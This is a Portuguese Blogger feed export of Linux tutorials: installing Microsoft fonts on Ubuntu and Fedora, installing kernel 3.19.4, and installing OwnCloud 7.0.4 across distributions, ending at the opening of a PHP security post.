O que ocorre é que o pacote geralmente não instala as fontes MS junto com as outras, então o processo é o seguinte: ir na Central de Programas do Ubuntu e reinstalar as fontes, ou seja, remover e depois tentar adicionar novamente.&lt;br /&gt;
&lt;br /&gt;
Para instalar via terminal, basta digitar o seguinte comando:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;$ sudo apt-get install ttf-mscorefonts-installer&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
E caso precise reinstalar, utilize o seguinte comando:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;$ sudo apt-get install --reinstall ttf-mscorefonts-installer&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Irá aparecer uma licença que você deve aceitar (digite tab para selecionar &quot;OK&quot;) e pronto, é só aguardar.&lt;br /&gt;
&lt;br /&gt;
Irá demorar um pouco, dependendo da conexão com a Internet, e em alguns casos, pode dar bug no terminal. Portanto, se você tem uma conexão ruim, esteja consciente de que o processo pode ser complicado e muito doloroso.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;DEU ERRO!&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Como disse anteriormente, se sua conexão é lenta, pode ocorrer algum erro durante a instalação, então paciência, neste caso entre em um terminal e digite:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;$ sudo apt-get install --reinstall ttf-mscorefonts-installer&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
E aguarde a reinstalação do pacote.&lt;br /&gt;
&lt;br /&gt;
Em muitos casos, você instala as fontes e elas não se encontram disponíveis para utilização, ou seja, elas se encontram no diretório /usr/share/fonts/True Type.&lt;br /&gt;
&lt;br /&gt;
Então, você abre o diretório e vai encontrando as fontes. Abra elas (uma por uma) e depois é só instalar as que você quiser. Simples não?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;INSTALAÇÃO NO FEDORA&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Para os usuários do Fedora é mais fácil, porque a Red Hat desenvolveu um pacote próprio com as fontes, ou seja, eles têm uma cópia do pacote com as fontes da Microsoft nos repositórios.&lt;br /&gt;
&lt;br /&gt;
Com isto, basta que você atualize seu sistema para que as fontes sejam instaladas automaticamente. Procure no editor de texto as fontes com o prefixo LM, por exemplo LMRoman10, para Times new roman.&lt;br /&gt;
&lt;br /&gt;
Porém, se as fontes não forem instaladas na atualização, você pode utilizar os processos descritos a seguir.&lt;br /&gt;
&lt;br /&gt;
Primeiramente, vamos atualizar o sistema para evitar erros, com os seguintes comandos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;# yum update -y&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Após isto, será preciso instalar os pacotes RPM com o seguinte comando:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;$ su -c &#39;rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm&#39;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Instale também os plugins para YUM:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;$ su -c &#39;yum install yum-plugin-fastestmirror yum-presto&#39;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Agora vamos instalar as fontes.&lt;br /&gt;
&lt;br /&gt;
Escolha uma das duas opções e execute-as em um terminal, caso alguma opção não instale, utilize a outra:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;1ª Opção:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;# yum install rpm-build wget cabextract ttmkfdir&lt;br /&gt;# wget http://corefonts.sourceforge.net/msttcorefonts-2.0-1.spec&lt;br /&gt;# rpmbuild -bb msttcorefonts-2.0-1.spec&lt;br /&gt;# cd /tmp&lt;br /&gt;# rpm2cpio $HOME/rpmbuild/RPMS/noarch/msttcorefonts-2.0-1.noarch.rpm | cpio -di&lt;br /&gt;# cp -R /tmp/usr/share/fonts/* /usr/share/fonts/&lt;br /&gt;# fc-cache /usr/share/fonts/&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Comados adquiridos em:&lt;br /&gt;
Instalando fontes TrueType da Microsoft no Fedora « gleisonbrito.wordpress&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;2ª Opção:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;# cd /tmp&lt;br /&gt;# wget http://corefonts.sourceforge.net/msttcorefonts-2.0-1.spec&lt;br /&gt;# yum install rpm-build cabextract&lt;br /&gt;# rpmbuild -ba msttcorefonts-2.0-1.spec&lt;br /&gt;# yum localinstall --nogpgcheck /usr/src/redhat/RPMS/noarch/msttcorefonts-2.0-1.noarch.rpm&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Comandos adquiridos em:&lt;br /&gt;
Install Microsoft TrueType Fonts in Fedora and Ubuntu « benperove.com&lt;br /&gt;
&lt;br /&gt;
Pronto, somente reinicie seu computador e desfrute das fontes Microsoft.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CONCLUSÃO&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Neste pequeno artigo, espero que tenha deixado bem claro o meu objetivo.&lt;br /&gt;
&lt;br /&gt;
Alguma dúvida, comente, ou então envie e-mail. Basta ir no meu perfil que você encontrará meu endereço que eu responderei. E mesmo que eu não saiba a resposta, irei procurar uma forma de ajudar.&lt;br /&gt;
&lt;br /&gt;
Aviso que não utilizei nenhum dos métodos descritos para usuários do Fedora, pelo fato de que quando eu utilizei o Fedora, somente atualizei o sistema, instalei o RPM e pronto.&lt;br /&gt;
&lt;br /&gt;
As fontes estavam disponíveis para uso, então, não posso assegurar a eficácia dos comandos, mas deixei o link de onde encontrei os comandos.&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/9071972172994259010/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/10/fontes-da-microsoft-instalacao-no.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/9071972172994259010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/9071972172994259010'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/10/fontes-da-microsoft-instalacao-no.html' title='FONTES DA MICROSOFT - INSTALAÇÃO NO UBUNTU E FEDORA'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDtkGgbaZ7IKOP-0NH1udYeq8FqMSZRjyhJck2nN4J94HFs4JUuhsra9Ru0M7hyIhjmUd32DgWKWmHthKGJifheBW9Ku0aAzU374ZUxSQv25mX5LNvHi7UDZPtzzSNtotpJ8uA0vqIOEg/s72-c/install_windows_fonts_on_ubuntu_10_04.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-7295538532941219917</id><published>2015-04-27T11:41:00.000-04:00</published><updated>2015-11-22T08:41:03.186-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><title type='text'>COMO INSTALAR O KERNEL 3.19.4</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUVkc-xRmOPjb6F2i6wmfFsYWwiA-po4JASQMsF1nUfk2PmPiCQmmyzV7YiBKhnM-XKnGUx5ZF-DFfkPe2eQLZGzQn4p1pXjdmQgksDPc47HLrGnAxnouWnnfu5nAhtVrC7iQ0jx0LCvs/s1600/Kernel-Linux.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;133&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUVkc-xRmOPjb6F2i6wmfFsYWwiA-po4JASQMsF1nUfk2PmPiCQmmyzV7YiBKhnM-XKnGUx5ZF-DFfkPe2eQLZGzQn4p1pXjdmQgksDPc47HLrGnAxnouWnnfu5nAhtVrC7iQ0jx0LCvs/s1600/Kernel-Linux.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Para quem utilizar o Kernel 3.19, foi lançado recentemente o Kernel 3.19.4, vindo com ARM64 e melhorias no PowerPC , driver de som e correções de rede e drivers atualizados.&lt;br /&gt;
Ontem (13/04), postei como instalar o Kernel 4.0 caso queira instalo clique aqui.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Para instalar o Kernel 3.19.4 no Ubuntu 14.10 Utopic Unicorn, Ubuntu 14.04 Trusty Tahr, Linux Mint 17 Qiana, Pinguy OS 14.04, 14.04 LXLE, Peppermint Five, Deepin 2014, Linux Lite 2, Elementary OS 0.3 Freya e derivados, execute os comandos abaixo:&lt;br /&gt;
&lt;br /&gt;
Para instalar o Kernel 3.19.4 em sistemas 32 bit, no Ubuntu 14.10, Ubuntu 14.04 e sistemas de derivativos, execute:&lt;br /&gt;
&lt;br /&gt;
Faça o download dos pacotes necessários:&lt;br /&gt;
&lt;br /&gt;
$ cd /tmp&lt;br /&gt;
$ wget \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-headers-3.19.4-031904_3.19.4-031904.201504131440_all.deb \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-headers-3.19.4-031904-generic_3.19.4-031904.201504131440_i386.deb \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-image-3.19.4-031904-generic_3.19.4-031904.201504131440_i386.deb &lt;br /&gt;
&lt;br /&gt;
Instale o Kernel 3.19.4:&lt;br /&gt;
&lt;br /&gt;
$ sudo dpkg -i linux-headers-3.19*.deb linux-image-3.19*.deb&lt;br /&gt;
&lt;br /&gt;
Depois que o kernel foi instalado reinicie a máquina:&lt;br /&gt;
&lt;br /&gt;
$ sudo reboot&lt;br /&gt;
&lt;br /&gt;
Para instalar o Kernel 3.19.4 em sistemas 64 bit, no Ubuntu 14.10, Ubuntu 14.04 e sistemas de derivativos:&lt;br /&gt;
&lt;br /&gt;
Faça o download dos pacotes necessários:&lt;br /&gt;
&lt;br /&gt;
$ cd /tmp&lt;br /&gt;
$ wget \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-headers-3.19.4-031904_3.19.4-031904.201504131440_all.deb \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-headers-3.19.4-031904-generic_3.19.4-031904.201504131440_amd64.deb \&lt;br /&gt;
kernel.ubuntu.com/~kernel-ppa/mainline/v3.19.4-vivid/linux-image-3.19.4-031904-generic_3.19.4-031904.201504131440_amd64.deb&lt;br /&gt;
&lt;br /&gt;
Instale o Kernel 3.19.4:&lt;br /&gt;
&lt;br /&gt;
$ sudo dpkg -i linux-headers-3.19*.deb linux-image-3.19*.deb&lt;br /&gt;
&lt;br /&gt;
Depois que o kernel foi instalado reinicie a máquina:&lt;br /&gt;
&lt;br /&gt;
$ sudo reboot&lt;br /&gt;
&lt;br /&gt;
Para remover o Kernel 3.19.4, execute:&lt;br /&gt;
&lt;br /&gt;
$ sudo apt-get remove linux-header-3.19* linux-image-3.19*&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/7295538532941219917/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/04/como-instalar-o-kernel-3194.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7295538532941219917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7295538532941219917'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/04/como-instalar-o-kernel-3194.html' title='COMO INSTALAR O KERNEL 3.19.4'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUVkc-xRmOPjb6F2i6wmfFsYWwiA-po4JASQMsF1nUfk2PmPiCQmmyzV7YiBKhnM-XKnGUx5ZF-DFfkPe2eQLZGzQn4p1pXjdmQgksDPc47HLrGnAxnouWnnfu5nAhtVrC7iQ0jx0LCvs/s72-c/Kernel-Linux.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-3429277203915702341</id><published>2015-01-10T21:37:00.000-03:00</published><updated>2015-11-22T08:56:34.024-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><title type='text'>Como Instalar OwnCloud 7.0.4, no Linux Mint, Ubuntu, Elementary OS e Derivados</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0KDew92orNfFad8aqBEDwFKa_aGmeIxN_MFNeTeVQaGBfgf4MRntBeFgtUQ4uLER8PwMSWOGuVGMUh2qqEfNtAfHOLBM0wcBdIZhu9Iq0wV4yZ5JtY0GtL1spW5nI6NMiRm31cq_6uhI/s1600/OwnCloud-.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0KDew92orNfFad8aqBEDwFKa_aGmeIxN_MFNeTeVQaGBfgf4MRntBeFgtUQ4uLER8PwMSWOGuVGMUh2qqEfNtAfHOLBM0wcBdIZhu9Iq0wV4yZ5JtY0GtL1spW5nI6NMiRm31cq_6uhI/s1600/OwnCloud-.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
OwnCloud é um serviço web que permite que você faça o upload de dados via navegador ou usando um software cliente (semelhante ao Dropbox, digamos). ownCloud usa PHP e um dos seguintes bancos de dados SQLite, MySQL, Oracle ou PostgreSQL (você decide que a DB de instalar) e funciona em todos os sistemas operacionais que têm suporte para, pelo menos, uma dessas bases de dados.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A última versão disponível é o OwnCloud 7.0.4, que vem com uma série de mudanças:&lt;br /&gt;
&lt;br /&gt;
Adicionada validação no XMLWriter;&lt;br /&gt;
Melhorado o controle de arquivos excluídos;&lt;br /&gt;
Armazenar as credenciais na sessão apenas se necessário;&lt;br /&gt;
Não desconectar diretórios relacionados por um arquivo compartilhado do usuário;&lt;br /&gt;
Correção na redefinição de senha;&lt;br /&gt;
Correção ao habilitar App apenas para um grupo específico;&lt;br /&gt;
Correção na configuração de portas para um domínio confiável;&lt;br /&gt;
Correção de LDAP;&lt;br /&gt;
Alterado a pesquisa de grupos para considerar maiúsculo e minusculo;&lt;br /&gt;
Permitir que o Admin altere o nomes dos usuários;&lt;br /&gt;
Melhorias de desempenho no LDAP;&lt;br /&gt;
config.php agora pode ser “somente leitura”;&lt;br /&gt;
Várias outras pequenas correções.&lt;br /&gt;
Para instalar OwnCloud 7.0.4 no Ubuntu 14.10 Utopic Unicorn, Ubuntu 14.04 Trusty Tahr, Ubuntu 12.04 Precise Pangolin, Linux Mint 17,1 Rebecca, Linux Mint 17 Qiana, Linux Mint 13 Maya, Elementary OS 0.3 Freya, OS Elementary 0,2 Luna, Pinguy OS 14.04, 14.04 LXLE, Deepin 2014, Linux Lite 2.0, Peppermint Five, Debian 8 Jessie, Debian Wheezy 7, Kwheezy, CrunchBang, Fedora 20, Fedora 19, CentOS 6, OpenSUSE 13.2.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no Ubuntu 14.10:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ echo “deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_14.04/ /” | sudo tee /etc/apt/sources.list.d/owncloud.list&lt;br /&gt;
$ wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/xUbuntu_14.04/Release.key&lt;br /&gt;
$ sudo apt-key add – &amp;lt; Release.key&lt;br /&gt;
$ sudo apt-get update&lt;br /&gt;
$ sudo apt-get install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Para instalar OwnCloud 7.0.4 no Ubuntu 14.04, Linux Mint 17.1, Linux Mint 17, LXLE 14,04, Pinguy OS 14.04, Elementary OS 0.3, Peppermint Five, Deepin 2014 e Linux Lite 2.0:&lt;br /&gt;
&lt;br /&gt;
$ echo “deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_14.04/ /” | sudo tee /etc/apt/sources.list.d/owncloud.list&lt;br /&gt;
&lt;br /&gt;
$ wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/xUbuntu_14.04/Release.key&lt;br /&gt;
$ sudo apt-key add – &amp;lt; Release.key&lt;br /&gt;
$ sudo apt-get update&lt;br /&gt;
$ sudo apt-get install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-fBxWseh-D1LRaBuzl6o2QQIf4uB9hPghLbkAaD7CN_WxZkrWuMtUQDpJe5uG-uq1GJ1LNM39RrK2z7tw8Wj0TPxf-12qKwU-ccKhHbaUs9P-u_TeIues0bdjJZ-DuvnYZC-o0E9wTw/s1600/owncloud1+(1).png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-fBxWseh-D1LRaBuzl6o2QQIf4uB9hPghLbkAaD7CN_WxZkrWuMtUQDpJe5uG-uq1GJ1LNM39RrK2z7tw8Wj0TPxf-12qKwU-ccKhHbaUs9P-u_TeIues0bdjJZ-DuvnYZC-o0E9wTw/s1600/owncloud1+(1).png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no Ubuntu 12.04, Elementary OS 0.2 e OS Pinguy 12,04:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ echo “deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/ /” | sudo tee /etc/apt/sources.list.d/owncloud.list&lt;br /&gt;
$ wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/xUbuntu_12.04/Release.key&lt;br /&gt;
$ sudo apt-key add – &amp;lt; Release.key&lt;br /&gt;
$ sudo apt-get update&lt;br /&gt;
$ sudo apt-get install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no Debian 7 e Kwheezy:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ echo “deb http://download.opensuse.org/repositories/isv:ownCloud:desktop/Debian_7.0/ /” &amp;gt;&amp;gt; /etc/apt/sources.list.d/owncloud-client.list&lt;br /&gt;
$ wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/Debian_7.0/Release.key&lt;br /&gt;
$ sudo apt-key add – &amp;lt; Release.key&lt;br /&gt;
$ sudo apt-get update&lt;br /&gt;
$ sudo apt-get install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;Para instalar OwnCloud 7.0.4 no Debian 8:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ echo “deb http://download.opensuse.org/repositories/isv:ownCloud:desktop/Debian_8.0/ /” &amp;gt;&amp;gt; /etc/apt/sources.list.d/owncloud-client.list&lt;br /&gt;
$ wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/Debian_8.0/Release.key&lt;br /&gt;
$ sudo apt-key add – &amp;lt; Release.key&lt;br /&gt;
$ sudo apt-get update&lt;br /&gt;
$ sudo apt-get install owncloud&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;b&gt;Para remover execute:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo apt-get remove owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBXmXRsREBH02lijmX9MWGq2GyIqMvdMXqPhom2ilq8nP-8kW5exTcFZ7OlxzG_8DXnRmYL3esCkww_eCUep87f_naW_jheVMlJ-9Jav4S5HbL1LcBC94CGw49ro3jJc8pWyQR99Q0jUw/s1600/owncloud1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBXmXRsREBH02lijmX9MWGq2GyIqMvdMXqPhom2ilq8nP-8kW5exTcFZ7OlxzG_8DXnRmYL3esCkww_eCUep87f_naW_jheVMlJ-9Jav4S5HbL1LcBC94CGw49ro3jJc8pWyQR99Q0jUw/s1600/owncloud1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no Fedora 20:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ cd /etc/yum.repos.d/&lt;br /&gt;
$ sudo wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/Fedora_20/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo yum install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;Para instalar OwnCloud 7.0.4 no Fedora 19:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ cd /etc/yum.repos.d/&lt;br /&gt;
$ sudo wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/Fedora_19/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo yum install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;Para instalar OwnCloud 7.0.4 no CentOS 7:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ cd /etc/yum.repos.d/&lt;br /&gt;
$ sudo wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/CentOS_CentOS-7/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo yum install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no CentOS 6:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ cd /etc/yum.repos.d/&lt;br /&gt;
$ sudo wget http://download.opensuse.org/repositories/isv:ownCloud:desktop/CentOS_CentOS-6/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo yum install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para remover OwnCloud 7.0.4 do Fedora, CentOS execute:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo yum remove owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no OpenSUSE 13.2:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo zypper addrepo http://download.opensuse.org/repositories/isv:ownCloud:desktop/openSUSE_13.2/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo zypper refresh&lt;br /&gt;
$ sudo zypper install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no OpenSUSE 13.1:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo zypper addrepo http://download.opensuse.org/repositories/isv:ownCloud:desktop/openSUSE_13.1/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo zypper refresh&lt;br /&gt;
$ sudo zypper install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para instalar OwnCloud 7.0.4 no OpenSUSE 12.3:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo zypper addrepo http://download.opensuse.org/repositories/isv:ownCloud:desktop/openSUSE_12.3/isv:ownCloud:desktop.repo&lt;br /&gt;
$ sudo zypper refresh&lt;br /&gt;
$ sudo zypper install owncloud&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Para remover execute:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
$ sudo zypper remove owncloud&lt;br /&gt;
&lt;br /&gt;
Fonte: sempreupdate.org&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/3429277203915702341/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/01/como-instalar-owncloud-704-no-linux.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/3429277203915702341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/3429277203915702341'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/01/como-instalar-owncloud-704-no-linux.html' title='Como Instalar OwnCloud 7.0.4, no Linux Mint, Ubuntu, Elementary OS e Derivados'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0KDew92orNfFad8aqBEDwFKa_aGmeIxN_MFNeTeVQaGBfgf4MRntBeFgtUQ4uLER8PwMSWOGuVGMUh2qqEfNtAfHOLBM0wcBdIZhu9Iq0wV4yZ5JtY0GtL1spW5nI6NMiRm31cq_6uhI/s72-c/OwnCloud-.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-4276992609265443283</id><published>2014-12-10T07:14:00.000-03:00</published><updated>2014-12-10T23:34:10.631-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type='text'>Blinde sua aplicação web PHP com estas 15 dicas de segurança</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwKZAP4B_c8jb9c5cb4Pu8CvZQAxmyIhEhkuFfB-qzmzKruHNs6sMg8krh0bHPThxvUXy2clkrRYt-xFvSNLMkrDPXwxvCX0O_Pa0GRyxBle8Zj2MK7_difmnkQO6Xe8WohfoxaeP4Oe8/s1600/php-bug.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwKZAP4B_c8jb9c5cb4Pu8CvZQAxmyIhEhkuFfB-qzmzKruHNs6sMg8krh0bHPThxvUXy2clkrRYt-xFvSNLMkrDPXwxvCX0O_Pa0GRyxBle8Zj2MK7_difmnkQO6Xe8WohfoxaeP4Oe8/s1600/php-bug.png&quot; height=&quot;200&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Desenvolver uma aplicação web não é uma das tarefas mais fáceis do mundo. Embora cada vez mais ferramentas e linguagens de programação prometam facilitar todo o trabalho, sempre haverá uma questão que jamais será resolvida sem alguma expertise da parte do desenvolvedor: a segurança.&lt;br /&gt;
